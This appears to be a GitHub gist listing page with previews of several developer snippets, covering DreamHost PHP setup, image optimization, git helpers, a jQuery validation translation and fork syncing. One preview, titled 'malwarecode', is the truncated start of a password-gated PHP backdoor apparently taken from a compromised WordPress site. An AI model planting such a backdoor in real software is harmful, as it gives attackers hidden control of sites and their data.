Skip to content

Instantly share code, notes, and snippets.

Avatar

Vinicius Arantes viniciusbig

  • CI&T
  • Campinas - SP - Brazil
View GitHub Profile
View malwarecode
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b1f82ddd4a0b8e05818e991bf56d64d0'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
@nissicreative
nissicreative / dreamhost-php.md
Last active Sep 1, 2020
Update PHP and install Composer on DreamHost
View dreamhost-php.md

DreamHost PHP

Make PHP 7 default binary for CLI

ssh <server>
@julianxhokaxhiu
julianxhokaxhiu / pagespeed_optimize_images.sh
Last active May 17, 2022
Recursively optimize all PNG and JPG files wherever they are from the script position and inner ( based on OPTING, PNGCRUSH, ADVANCECOMP and JPEGOPTIM )
View pagespeed_optimize_images.sh
#!/bin/bash
# Improved as per feedback from @pascal - https://gist.github.com/julianxhokaxhiu/c0a8e813eabf9d6d9873#gistcomment-3086462
find . -type f -iname "*.png" -exec optipng -nb -nc {} \;
find . -type f -iname "*.png" -exec advpng -z4 {} \;
find . -type f -iname "*.png" -exec pngcrush -rem gAMA -rem alla -rem cHRM -rem iCCP -rem sRGB -rem time -ow {} \;
find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" \) -exec jpegoptim -f --strip-all {} \;
View .bash_newgit
#!/bin/bash
# usage: "newgit some/path"
newgit() {
### SETTINGS ###
# this is the root of all your git folders
local LOCAL_GIT_ROOT=~/web
# this is your ssh [user]@[host]
@diegoprates
diegoprates / gist:5047663
Last active Feb 19, 2022
Tradução do jQuery validation plugin para pt-BR.
View gist:5047663
/*
* Translated default messages for the jQuery validation plugin.
* Locale: PT_BR
*/
jQuery.extend(jQuery.validator.messages, {
required: "Este campo &eacute; requerido.",
remote: "Por favor, corrija este campo.",
email: "Por favor, forne&ccedil;a um endere&ccedil;o eletr&ocirc;nico v&aacute;lido.",
url: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
date: "Por favor, forne&ccedil;a uma data v&aacute;lida.",
@CristinaSolana
CristinaSolana / gist:1885435
Created Feb 22, 2012
Keeping a fork up to date
View gist:1885435

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@peterc
peterc / newgit
Created Sep 30, 2009
Create and sync a new git repository on Dreamhost
View newgit
# Create a new git repository on Dreamhost
# Function tweaked from that found at http://craigjolicoeur.com/blog/hosting-git-repositories-on-dreamhost
#
# Just add the code below to your .bashrc.
# Usage:
# newgit some-repo.git
#
# Then locally:
#
# git push --all ssh://$MACHINE/home/$USER/git/my-new-repos.git